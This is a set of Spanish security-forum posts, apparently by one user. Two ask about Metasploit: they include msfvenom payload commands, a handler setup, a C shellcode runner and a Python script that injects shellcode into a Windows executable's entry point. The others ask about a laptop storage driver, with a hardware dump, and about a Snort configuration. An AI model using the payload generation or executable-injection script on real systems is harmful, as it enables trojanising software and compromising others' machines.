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Seguridad Informática / Bugs y Exploits / duda en metasploit
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en: 8 Agosto 2016, 17:51 pm
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Espero me puedan ayudar con la siguiente duda en metasploit:
Al hacer esto: msfvenom -a x86 --platform windows -p windows/vncinject/bind_tcp LHOST=192.168.56.1 LPORT=4441 -e x86/alpha_mixed -i 3 -f exe -o mixed.exe
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 4441 msf exploit(handler) > set LHOST 192.168.56.1 msf exploit(handler) > exploit
Todo funciona de maravilla, pero si lo hago de esta forma no responde:
msfvenom -a x86 --platform windows -p windows/vncinject/bind_tcp LHOST=192.168.56.1 LPORT=4441 -e x86/alpha_mixed -i 3 -f c
char code[] = "\xfc\xbb\x98\x27\x55\xdf\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x64\x9c\x9e\x3d\x73" "\x87\xcb\xce\x25\x1e\x3d\xd1\x74\x9f\xfe\x68\x46\xd5\xf7\xb0" "\xae\xf9\x07\xc9\xd1\x31\xa1\xf3\xd5\x41\x55\x1d\x28\x9f\x3a" "\x1a\x21\xaf\x4a\x40\xec\x05\xb7\x94\x9c\x3b\xdf\xba\xea\xf1" "\x09\x50\xa5\xa2\x82\x89\xd2\x6c\x1d\x41\x74\x12\x45\xea\x78" "\x33\x2e\x67\x54\x12\x8e\x94\xeb\x8f\x7d\x90\x90\xcd\xf0\x37" "\xed\x39\xd1\x1e\xe9\xfa\x68\xa8\xba\x2c\xa1\xd5\x46\xdb\x1b" "\xa7\xf7\x24\x99\x0d\xc5\x9b\x3e\xd4\x70\xbd\xb9\xde\xfc\x6f" "\x15\x80\x39\x5b\x9f\x1a\x0c\xf6\xd5\xb4\xe9\x71\x1b\x52\xb9" "\x53\x7f\xfd\xd8\x77\x8f\x05\xfc\x05\x75\x81\x90\x42\xa2\x9f" "\x84\x15\x72\x5e\x1c\x43\xb4\xc8\x37\xb5\x9a\x1f\x7c\xcf\x5b" "\xd9\xbd\xbb\x23\x96\x7d\x93\x65\x58\x36\x70\x77\x68\x49\x28" "\xf3\x37\xd4\x88\xad\x39\x07\x96\x2e\x56\xfa\x82\xb6\x9d\x0e" "\x22\x26\xc1\x85\x48\x59\xc6\x67\x36\x41\xeb\xac\x86\x09\x4d" "\x5a\xb4\x25\xe4\x5c\x8d\x1e\x89\xab\x5e\x17\xff\x86\x0d\xaa" "\x97\x0c\xc3\x02\x61\x87\xfa\x30\xf0\xe6\x51\x04\x0a\xd4\xb9" "\x5a\x82\x86\xbb\x8f\x1e\xb3\x16\xa8\xc6\xef\xd7\xed\xaa\xd2" "\x21\x30\x84\xc4\xa7\xb8\x6a\x99\x1e\x32\xf2\xcc\x53\x01\xcd" "\xec\xdc\xed\xb5\x0c\xee\x4b\xc8\x02\xdc\xc5\xba\xa4\x39\x2b" "\xa0\x1d\xa8\x0c\xb3\xca\xef\x17\xb6\x9b\xa6\x2d\x83\x2c\xfd" "\x2e\x1e\xa3\x33\x85\xa0\xf9\xc0\x87\xb0\x87\xe0\x1d\x9e\xde" "\x50\x79\xad\xe9\x43\xd4\x1e\x2e\x6b\x52\x78\xc5\xeb\x78\x7e" "\x55\x42\xa8\xf0\xb7\xcb\xa2\x0b\xfd\xbf\x01\xa0\x74\x38\x73" "\xee\xb9\x32\x5b\xb8\x93\x37\xc0\x2f\x05\x07\x97\x13\x59\x07" "\x47\xfd\xda\x87\xa8\x7a\xba\x95\xc6\xca\x15\x96\x27\x28\xff" "\xb1\xc6\xdf\x81\xd4\x4c\x14\x56\xf7\x10\xfa\x0d\xc1\x19\xb4" "\x66\x07\x29\x8b\x0a\xf2\x1e\x52\xbe\x29\x6b\x60\xa8\x07\xa7" "\xae\x42\xa7\x38\x31\x6a\xa8\x38\x31" ; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 4441 msf exploit(handler) > set LHOST 192.168.56.1 msf exploit(handler) > exploit
lo compilo con dev-c++
PD: con la plantilla en C no tengo retorno del remoto,
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2
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Seguridad Informática / Bugs y Exploits / Ayuda con shell_code en metasploit
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en: 19 Junio 2016, 02:59 am
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Reformulando la pregunta, la cuestión es, donde puedo conseguir un manual para poder modificar un shellcode generado por metasploit para que no ejecute el exitprocess, porque me cierra el programa al cual le inyecto código. Si ejecuto lo siguiente: char code[] = "mi_shellcode"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
funciona perfectamente, pero cuando lo inyecto por ejemplo en calc.exe solo me genera el mensaje del windows/messagebox pero no ejecuta la calculadora, en google no encuentro nada, lo mismo ocurre con: ixquick duckduckgo http://hss3uro2hsxfogfq.onion/ ( Evil )
-------------------------------------------------------------------------------------------------------------- Saludos antes que nada recalcar que estoy empezando a estudiar un poco sobre code Cavity y mis conocimientos sobre el tema son limitados. Pues bien, al trabajar un ejecutable manualmente con OllyDbg funciona perfectamente, primero me muestra el mensaje ingresado y luego se ejecuta la aplicación. No obstante es algo tedioso hacerlo manualmente, así que buscando un poco encontré el siguiente código: from pefile import PE from struct import pack # windows/messagebox - 265 bytes # http://www.metasploit.com # ICON=NO, TITLE=W00t!, EXITFUNC=process, VERBOSE=false, # TEXT=Debasish Was Here! sample_shell_code = ("\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" + "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" + "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" + "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" + "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" + "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" + "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" + "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" + "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" + "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" + "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" + "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" + "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" + "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" + "\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" + "\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" + "\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" + "\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" + "\xd2\x52\x53\x51\x52\xff\xd0") if __name__ == '__main__': ejecutable = raw_input('[*] Ingrese direccion del ejecutable a inyectar codigo :') salida = raw_input('[*] ingrese lugar a guardar el ejecutable modificado :') pe = PE(ejecutable) # Determinamos el punto de entrada del ejecutable (OEP [original entry point]) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint # los valores que necesitaremos secciones = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) alineacion = pe.OPTIONAL_HEADER.SectionAlignment # por lo general equivale al valor de #una pagina en memoria: 4096 bytes. # cuanto espacio queda restante = (secciones.VirtualAddress + secciones.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint fin_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + restante # alineamos con las secciones espacio = alineacion - (fin_rva % alineacion) fin_offset = pe.get_offset_from_rva(fin_rva+espacio) - 1 # calculamos el RVA del final del offset, # ...para que este alineado con las otras secciones # comprobar si hay suficiente espacio para adaptarse a la carga util tc_shell = len(codigo_shell)+7 # +1 pusha, +1 popa, +5 rel32 jmp # 80x86 Instructions by Opcode : # Opcode Mnemonic Operand(s) Flags-affected Number-of-bytes Timing-386 Timing-486 Timing-Pentium # E9 jmp rel32 none 5 7+ 3 1 if espacio < tc_shell: # no hay suficiente espacio para el shell code exit() # el codigo puede ser inyectado scode_end_off = fin_offset scode_start_off = scode_end_off - tc_shell pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) # \x60 = pusha, \x61 = popa, \xe9 = 32 bit relative distance codigo_shell = '\x60%s\x61\xe9%s' % (codigo_shell, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(codigo_shell)] = codigo_shell final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(salida, 'wb') new_file.write(raw_pe_data) new_file.close() print '[*] trabajo hecho! :)'
Lo anterior funciona perfectamente, en mi caso genero un shell code mediante metasploit de la forma: msfvenom -a x86 --platform windows -p windows/messagebox TITLE="code" TEXT="cave" -f python
pero solo sale el cuadro del mensaje y no se ejecuta el programa al que le inyecto el código. Gracias de antemano si me pueden ayudar.
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Sistemas Operativos / Windows / ¿Dónde puedo conseguir el controlador SATA AHCI para una Acer Aspire ES1-111M?
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en: 3 Mayo 2015, 18:38 pm
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La compre por Amazon pero el sistema operativo que traía era win 8.1 en ingles, así que me cree un USB booteable de Win7 para bajar el sistema dado que solo trae un eMMC de 32G y ocupaba casi todo el disco, no me trajo el CD de instalación.
La cuestión es que formatee el disco desde el mismo sistema y no logro instalar win 7 porque no consigo los controladores del disco eMMC Hynix HBG4e y no tengo la forma de restaurar, realice una copia antes de formatear pero no me sirve no reconoce los drivers de recuperación. De antemano muchas gracias.
PD: Tengo 10 años trabajando con informática y reparación y esta mini laptop es sin duda la peor desgracia que he visto en mi vida. Solo tiene soporte para WIN 8.1 y no le puedo instalar ni Linux tengo ganas de partirla en dos.
NO LA COMPREN
Resumen ________________________________________ Ordenador: Tipo de ordenador ACPI x64-based PC (Mobile) Sistema operativo Windows 8.1 Connected Home Edition Service Pack del Sistema Operativo - Internet Explorer 9.11.9600.17207 DirectX DirectX 11.0 Nombre del sistema USUARIO Nombre de usuario usuario 1 Nombre de dominio usuario Fecha / Hora 2015-04-28 / 20:39 Placa base: Tipo de procesador 2x , 2166 MHz Nombre de la Placa Base Acer Aspire ES1-111M Chipset de la Placa Base Desconocido Memoria del Sistema 1929 MB Tipo de BIOS Unknown (ՅЬr7C ) Monitor: Tarjeta gráfica Intel(R) HD Graphics (1053544 KB) Tarjeta gráfica Intel(R) HD Graphics (1053544 KB) Monitor Generic PnP Monitor [NoDB] Multimedia: Tarjeta de sonido High Definition Audio Controller [8086-0F04] [NoDB] Almacenamiento: Storage Controller Microsoft Storage Spaces Controller Storage Controller SD Storage Class Controller Disco duro Hynix HBG4e (29 GB) Disco duro USB DISK USB 2.0 USB Device (3 GB, USB) Estado de los discos duros SMART Desconocido Particiones: C: (NTFS) 19865 MB (15727 MB libre) Tamaño total 19.4 GB (15.4 GB libre) Dispositivos de entrada: Teclado Standard PS/2 Keyboard Ratón HID-compliant mouse Red: Dirección IP principal 127.0.0.1 Dirección MAC principal 2C-60-0C-2F-BD-A0 Tarjeta de Red Microsoft Hosted Network Virtual Adapter Tarjeta de Red Microsoft Wi-Fi Direct Virtual Adapter Tarjeta de Red Qualcomm Atheros AR956x Wireless Network Adapter Tarjeta de Red Realtek PCIe GBE Family Controller Dispositivos: Impresora Fax Impresora Foxit PhantomPDF Printer Impresora Microsoft XPS Document Writer Controlador USB1 Intel(R) USB 3.0 eXtensible Host Controller - 0100 (Microsoft) [8086-0F35] [NoDB] Dispositivos USB Bluetooth USB Module Dispositivos USB Generic USB Hub Dispositivos USB HD WebCam Dispositivos USB USB Composite Device Dispositivos USB USB Mass Storage Device Batería Microsoft AC Adapter Batería Microsoft ACPI-Compliant Control Method Battery DMI: DMI Distribuidor de la BIOS DMI Versión de la BIOS DMI Fabricante del Sistema Acer DMI Nombre del Sistema Aspire ES1-111M DMI Versión del sistema V1.10 DMI Número de serie del Sistema NXMRSAA00145015C8B7600 DMI UUID del Sistema 472A144A-A7394341-A6E120C4-466E554C DMI Fabricante de la Placa Base Acer DMI Nombre de la Placa Base R2 DMI Versión de la Placa Base Type2 - A01 Board Version DMI Número de serie de la Placa Base NBMRS1100145015C8B7600 DMI Fabricante del chasis Chassis Manufacturer DMI Versión del chasis Chassis Version DMI Número de serie del chasis Chassis Serial Number DMI Identificador del chasis DMI Tipo de chasis Notebook DMI Sockets de memoria (Total/Libres) 1 / 0
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Seguridad Informática / Seguridad / ¿Me podrian ayudar con snort por favor?
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en: 11 Febrero 2015, 18:43 pm
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En google tengo dos semanas buscando y no hay nada util. Gracias de antemano Luego de instalar y configurar snort me da el siguiente error : WARNING: No preprocessor configured for policy 0. 02/11-13:40:07.454345 10.0.2.15:2381 -> 23.212.162.127:80 TCP TTL:128 TOS:0x0 ID:54361 IpLen:20 DgmLen:41 DF ***A**** Seq: 0xF69F777D Ack: 0x3F9193B8 Win: 0xFDC1 TcpLen: 20 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [b][center]Estoy trabajando desde una maquina virtualBox con win XP[/center][/b] =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Snort.conf esta configurado de la siguiente manera:
#-------------------------------------------------- # VRT Rule Packages Snort.conf # # For more information visit us at: # http://www.snort.org Snort Website # http://vrt-blog.snort.org/ Sourcefire VRT Blog # # Mailing list Contact: snort-sigs@lists.sourceforge.net # False Positive reports: fp@sourcefire.com # Snort bugs: bugs@snort.org # # Compatible with Snort Versions: # VERSIONS : 2.9.7.0 # # Snort build options: # OPTIONS : --enable-gre --enable-mpls --enable-targetbased --enable-ppm --enable-perfprofiling --enable-zlib --enable-active-response --enable-normalizer --enable-reload --enable-react --enable-flexresp3 # # Additional information: # This configuration file enables active response, to run snort in # test mode -T you are required to supply an interface -i <interface> # or test mode will fail to fully validate the configuration and # exit with a FATAL error #--------------------------------------------------
################################################### # This file contains a sample snort configuration. # You should take the following steps to create your own custom configuration: # # 1) Set the network variables. # 2) Configure the decoder # 3) Configure the base detection engine # 4) Configure dynamic loaded libraries # 5) Configure preprocessors # 6) Configure output plugins # 7) Customize your rule set # 8) Customize preprocessor and decoder rule set # 9) Customize shared object rule set ###################################################
################################################### # Step #1: Set the network variables. For more information, see README.variables ###################################################
# Setup the network addresses you are protecting ipvar HOME_NET 10.0.2.15
# Set up the external network addresses. Leave as "any" in most situations ipvar EXTERNAL_NET any
# List of DNS servers on your network ipvar DNS_SERVERS $HOME_NET
# List of SMTP servers on your network ipvar SMTP_SERVERS $HOME_NET
# List of web servers on your network ipvar HTTP_SERVERS $HOME_NET
# List of sql servers on your network ipvar SQL_SERVERS $HOME_NET
# List of telnet servers on your network ipvar TELNET_SERVERS $HOME_NET
# List of ssh servers on your network ipvar SSH_SERVERS $HOME_NET
# List of ftp servers on your network ipvar FTP_SERVERS $HOME_NET
# List of sip servers on your network ipvar SIP_SERVERS $HOME_NET
# List of ports you run web servers on portvar HTTP_PORTS [80,81,311,383,591,593,901,1220,1414,1741,1830,2301,2381,2809,3037,3128,3702,4343,4848,5250,6988,7000,7001,7144,7145,7510,7777,7779,8000,8008,8014,8028,8080,8085,8088,8090,8118,8123,8180,8181,8243,8280,8300,8800,8888,8899,9000,9060,9080,9090,9091,9443,9999,11371,34443,34444,41080,50002,55555]
# List of ports you want to look for SHELLCODE on. portvar SHELLCODE_PORTS !80
# List of ports you might see oracle attacks on portvar ORACLE_PORTS 1024:
# List of ports you want to look for SSH connections on: portvar SSH_PORTS 22
# List of ports you run ftp servers on portvar FTP_PORTS [21,2100,3535]
# List of ports you run SIP servers on portvar SIP_PORTS [5060,5061,5600]
# List of file data ports for file inspection portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143]
# List of GTP ports for GTP preprocessor portvar GTP_PORTS [2123,2152,3386]
# other variables, these should not be modified ipvar AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24]
# Path to your rules files (this can be a relative path) # Note for Windows users: You are advised to make this an absolute path, # such as: c:\snort\rules var RULE_PATH c:\snort\rules var SO_RULE_PATH ../so_rules var PREPROC_RULE_PATH C:\Snort\preproc_rules
# If you are using reputation preprocessor set these # Currently there is a bug with relative paths, they are relative to where snort is # not relative to snort.conf like the above variables # This is completely inconsistent with how other vars work, BUG 89986 # Set the absolute path appropriately var WHITE_LIST_PATH c:\snort\rules var BLACK_LIST_PATH c:\snort\rules
################################################### # Step #2: Configure the decoder. For more information, see README.decode ###################################################
# Stop generic decode events: config disable_decode_alerts
# Stop Alerts on experimental TCP options config disable_tcpopt_experimental_alerts
# Stop Alerts on obsolete TCP options config disable_tcpopt_obsolete_alerts
# Stop Alerts on T/TCP alerts config disable_tcpopt_ttcp_alerts
# Stop Alerts on all other TCPOption type events: config disable_tcpopt_alerts
# Stop Alerts on invalid ip options config disable_ipopt_alerts
# Alert if value in length field (IP, TCP, UDP) is greater th elength of the packet # config enable_decode_oversized_alerts
# Same as above, but drop packet if in Inline mode (requires enable_decode_oversized_alerts) # config enable_decode_oversized_drops
# Configure IP / TCP checksum mode config checksum_mode: all
# Configure maximum number of flowbit references. For more information, see README.flowbits # config flowbits_size: 64
# Configure ports to ignore # config ignore_ports: tcp 21 6667:6671 1356 # config ignore_ports: udp 1:17 53
# Configure active response for non inline operation. For more information, see REAMDE.active # config response: eth0 attempts 2
# Configure DAQ related options for inline operation. For more information, see README.daq # # config daq: <type> # config daq_dir: <dir> # config daq_mode: <mode> # config daq_var: <var> # # <type> ::= pcap | afpacket | dump | nfq | ipq | ipfw # <mode> ::= read-file | passive | inline # <var> ::= arbitrary <name>=<value passed to DAQ # <dir> ::= path as to where to look for DAQ module so's
# Configure specific UID and GID to run snort as after dropping privs. For more information see snort -h command line options # # config set_gid: # config set_uid:
# Configure default snaplen. Snort defaults to MTU of in use interface. For more information see README # # config snaplen: #
# Configure default bpf_file to use for filtering what traffic reaches snort. For more information see snort -h command line options (-F) # # config bpf_file: #
# Configure default log directory for snort to log to. For more information see snort -h command line options (-l) # # config logdir:
################################################### # Step #3: Configure the base detection engine. For more information, see README.decode ###################################################
# Configure PCRE match limitations config pcre_match_limit: 3500 config pcre_match_limit_recursion: 1500
# Configure the detection engine See the Snort Manual, Configuring Snort - Includes - Config config detection: search-method ac-split search-optimize max-pattern-len 20
# Configure the event queue. For more information, see README.event_queue config event_queue: max_queue 8 log 5 order_events content_length
################################################### ## Configure GTP if it is to be used. ## For more information, see README.GTP ####################################################
# config enable_gtp
################################################### # Per packet and rule latency enforcement # For more information see README.ppm ###################################################
# Per Packet latency configuration #config ppm: max-pkt-time 250, \ # fastpath-expensive-packets, \ # pkt-log
# Per Rule latency configuration #config ppm: max-rule-time 200, \ # threshold 3, \ # suspend-expensive-rules, \ # suspend-timeout 20, \ # rule-log alert
################################################### # Configure Perf Profiling for debugging # For more information see README.PerfProfiling ###################################################
#config profile_rules: print all, sort avg_ticks #config profile_preprocs: print all, sort avg_ticks
################################################### # Configure protocol aware flushing # For more information see README.stream5 ################################################### config paf_max: 16000
################################################### # Step #4: Configure dynamic loaded libraries. # For more information, see Snort Manual, Configuring Snort - Dynamic Modules ###################################################
# path to dynamic preprocessor libraries dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor
# path to base preprocessor engine dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll
# path to dynamic rules libraries dynamicdetection directory /usr/local/lib/snort_dynamicrules
################################################### # Step #5: Configure preprocessors # For more information, see the Snort Manual, Configuring Snort - Preprocessors ###################################################
# GTP Control Channle Preprocessor. For more information, see README.GTP # preprocessor gtp: ports { 2123 3386 2152 }
# Inline packet normalization. For more information, see README.normalize # Does nothing in IDS mode preprocessor normalize_ip4 preprocessor normalize_tcp: ips ecn stream preprocessor normalize_icmp4 preprocessor normalize_ip6 preprocessor normalize_icmp6
# Target-based IP defragmentation. For more inforation, see README.frag3 preprocessor frag3_global: max_frags 65536 preprocessor frag3_engine: policy windows detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180
# Target-Based stateful inspection/stream reassembly. For more inforation, see README.stream5 preprocessor stream5_global: track_tcp yes, \ track_udp yes, \ track_icmp no, \ max_tcp 262144, \ max_udp 131072, \ max_active_responses 2, \ min_response_seconds 5 preprocessor stream5_tcp: policy windows, detect_anomalies, require_3whs 180, \ overlap_limit 10, small_segments 3 bytes 150, timeout 180, \ ports client 21 22 23 25 42 53 79 109 110 111 113 119 135 136 137 139 143 \ 161 445 513 514 587 593 691 1433 1521 1741 2100 3306 6070 6665 6666 6667 6668 6669 \ 7000 8181 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \ ports both 80 81 311 383 443 465 563 591 593 636 901 989 992 993 994 995 1220 1414 1830 2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7907 7000 7001 7144 7145 7510 7802 7777 7779 \ 7801 7900 7901 7902 7903 7904 7905 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 \ 7917 7918 7919 7920 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180 8243 8280 8300 8800 8888 8899 9000 9060 9080 9090 9091 9443 9999 11371 34443 34444 41080 50002 55555 preprocessor stream5_udp: timeout 180
# performance statistics. For more information, see the Snort Manual, Configuring Snort - Preprocessors - Performance Monitor # preprocessor perfmonitor: time 300 file /var/snort/snort.stats pktcnt 10000
# HTTP normalization and anomaly detection. For more information, see README.http_inspect preprocessor http_inspect: global iis_unicode_map unicode.map 1252 compress_depth 65535 decompress_depth 65535 preprocessor http_inspect_server: server default \ http_methods { GET POST PUT SEARCH MKCOL COPY MOVE LOCK UNLOCK NOTIFY POLL BCOPY BDELETE BMOVE LINK UNLINK OPTIONS HEAD DELETE TRACE TRACK CONNECT SOURCE SUBSCRIBE UNSUBSCRIBE PROPFIND PROPPATCH BPROPFIND BPROPPATCH RPC_CONNECT PROXY_SUCCESS BITS_POST CCM_POST SMS_POST RPC_IN_DATA RPC_OUT_DATA RPC_ECHO_DATA } \ chunk_length 500000 \ server_flow_depth 0 \ client_flow_depth 0 \ post_depth 65495 \ oversize_dir_length 500 \ max_header_length 750 \ max_headers 100 \ max_spaces 200 \ small_chunk_length { 10 5 } \ ports { 80 81 311 383 591 593 901 1220 1414 1741 1830 2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000 7001 7144 7145 7510 7777 7779 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180 8181 8243 8280 8300 8800 8888 8899 9000 9060 9080 9090 9091 9443 9999 11371 34443 34444 41080 50002 55555 } \ non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \ enable_cookie \ extended_response_inspection \ inspect_gzip \ normalize_utf \ unlimited_decompress \ normalize_javascript \ apache_whitespace no \ ascii no \ bare_byte no \ directory no \ double_decode no \ iis_backslash no \ iis_delimiter no \ iis_unicode no \ multi_slash no \ utf_8 no \ u_encode yes \ webroot no
# ONC-RPC normalization and anomaly detection. For more information, see the Snort Manual, Configuring Snort - Preprocessors - RPC Decode preprocessor rpc_decode: 111 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 no_alert_multiple_requests no_alert_large_fragments no_alert_incomplete
# Back Orifice detection. preprocessor bo
# FTP / Telnet normalization and anomaly detection. For more information, see README.ftptelnet preprocessor ftp_telnet: global inspection_type stateful encrypted_traffic no check_encrypted preprocessor ftp_telnet_protocol: telnet \ ayt_attack_thresh 20 \ normalize ports { 23 } \ detect_anomalies preprocessor ftp_telnet_protocol: ftp server default \ def_max_param_len 100 \ ports { 21 2100 3535 } \ telnet_cmds yes \ ignore_telnet_erase_cmds yes \ ftp_cmds { ABOR ACCT ADAT ALLO APPE AUTH CCC CDUP } \ ftp_cmds { CEL CLNT CMD CONF CWD DELE ENC EPRT } \ ftp_cmds { EPSV ESTA ESTP FEAT HELP LANG LIST LPRT } \ ftp_cmds { LPSV MACB MAIL MDTM MIC MKD MLSD MLST } \ ftp_cmds { MODE NLST NOOP OPTS PASS PASV PBSZ PORT } \ ftp_cmds { PROT PWD QUIT REIN REST RETR RMD RNFR } \ ftp_cmds { RNTO SDUP SITE SIZE SMNT STAT STOR STOU } \ ftp_cmds { STRU SYST TEST TYPE USER XCUP XCRC XCWD } \ ftp_cmds { XMAS XMD5 XMKD XPWD XRCP XRMD XRSQ XSEM } \ ftp_cmds { XSEN XSHA1 XSHA256 } \ alt_max_param_len 0 { ABOR CCC CDUP ESTA FEAT LPSV NOOP PASV PWD QUIT REIN STOU SYST XCUP XPWD } \ alt_max_param_len 200 { ALLO APPE CMD HELP NLST RETR RNFR STOR STOU XMKD } \ alt_max_param_len 256 { CWD RNTO } \ alt_max_param_len 400 { PORT } \ alt_max_param_len 512 { SIZE } \ chk_str_fmt { ACCT ADAT ALLO APPE AUTH CEL CLNT CMD } \ chk_str_fmt { CONF CWD DELE ENC EPRT EPSV ESTP HELP } \ chk_str_fmt { LANG LIST LPRT MACB MAIL MDTM MIC MKD } \ chk_str_fmt { MLSD MLST MODE NLST OPTS PASS PBSZ PORT } \ chk_str_fmt { PROT REST RETR RMD RNFR RNTO SDUP SITE } \ chk_str_fmt { SIZE SMNT STAT STOR STRU TEST TYPE USER } \ chk_str_fmt { XCRC XCWD XMAS XMD5 XMKD XRCP XRMD XRSQ } \ chk_str_fmt { XSEM XSEN XSHA1 XSHA256 } \ cmd_validity ALLO < int [ char R int ] > \ cmd_validity EPSV < [ { char 12 | char A char L char L } ] > \ cmd_validity MACB < string > \ cmd_validity MDTM < [ date nnnnnnnnnnnnnn[.n[n[n]]] ] string > \ cmd_validity MODE < char ASBCZ > \ cmd_validity PORT < host_port > \ cmd_validity PROT < char CSEP > \ cmd_validity STRU < char FRPO [ string ] > \ cmd_validity TYPE < { char AE [ char NTC ] | char I | char L [ number ] } > preprocessor ftp_telnet_protocol: ftp client default \ max_resp_len 256 \ bounce yes \ ignore_telnet_erase_cmds yes \ telnet_cmds yes
# SMTP normalization and anomaly detection. For more information, see README.SMTP preprocessor smtp: ports { 25 465 587 691 } \ inspection_type stateful \ b64_decode_depth 0 \ qp_decode_depth 0 \ bitenc_decode_depth 0 \ uu_decode_depth 0 \ log_mailfrom \ log_rcptto \ log_filename \ log_email_hdrs \ normalize cmds \ normalize_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \ normalize_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \ normalize_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \ normalize_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ max_command_line_len 512 \ max_header_line_len 1000 \ max_response_line_len 512 \ alt_max_command_line_len 260 { MAIL } \ alt_max_command_line_len 300 { RCPT } \ alt_max_command_line_len 500 { HELP HELO ETRN EHLO } \ alt_max_command_line_len 255 { EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET } \ alt_max_command_line_len 246 { SEND SAML SOML AUTH TURN ETRN DATA RSET QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ valid_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \ valid_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \ valid_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \ valid_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ xlink2state { enabled }
# Portscan detection. For more information, see README.sfportscan # preprocessor sfportscan: proto { all } memcap { 10000000 } sense_level { low }
# ARP spoof detection. For more information, see the Snort Manual - Configuring Snort - Preprocessors - ARP Spoof Preprocessor # preprocessor arpspoof # preprocessor arpspoof_detect_host: 192.168.40.1 f0:0f:00:f0:0f:00
# SSH anomaly detection. For more information, see README.ssh preprocessor ssh: server_ports { 22 } \ autodetect \ max_client_bytes 19600 \ max_encrypted_packets 20 \ max_server_version_len 100 \ enable_respoverflow enable_ssh1crc32 \ enable_srvoverflow enable_protomismatch
# SMB / DCE-RPC normalization and anomaly detection. For more information, see README.dcerpc2 preprocessor dcerpc2: memcap 102400, events [co ] preprocessor dcerpc2_server: default, policy WinXP, \ detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \ autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \ smb_max_chain 3, smb_invalid_shares ["C$", "D$", "ADMIN$"]
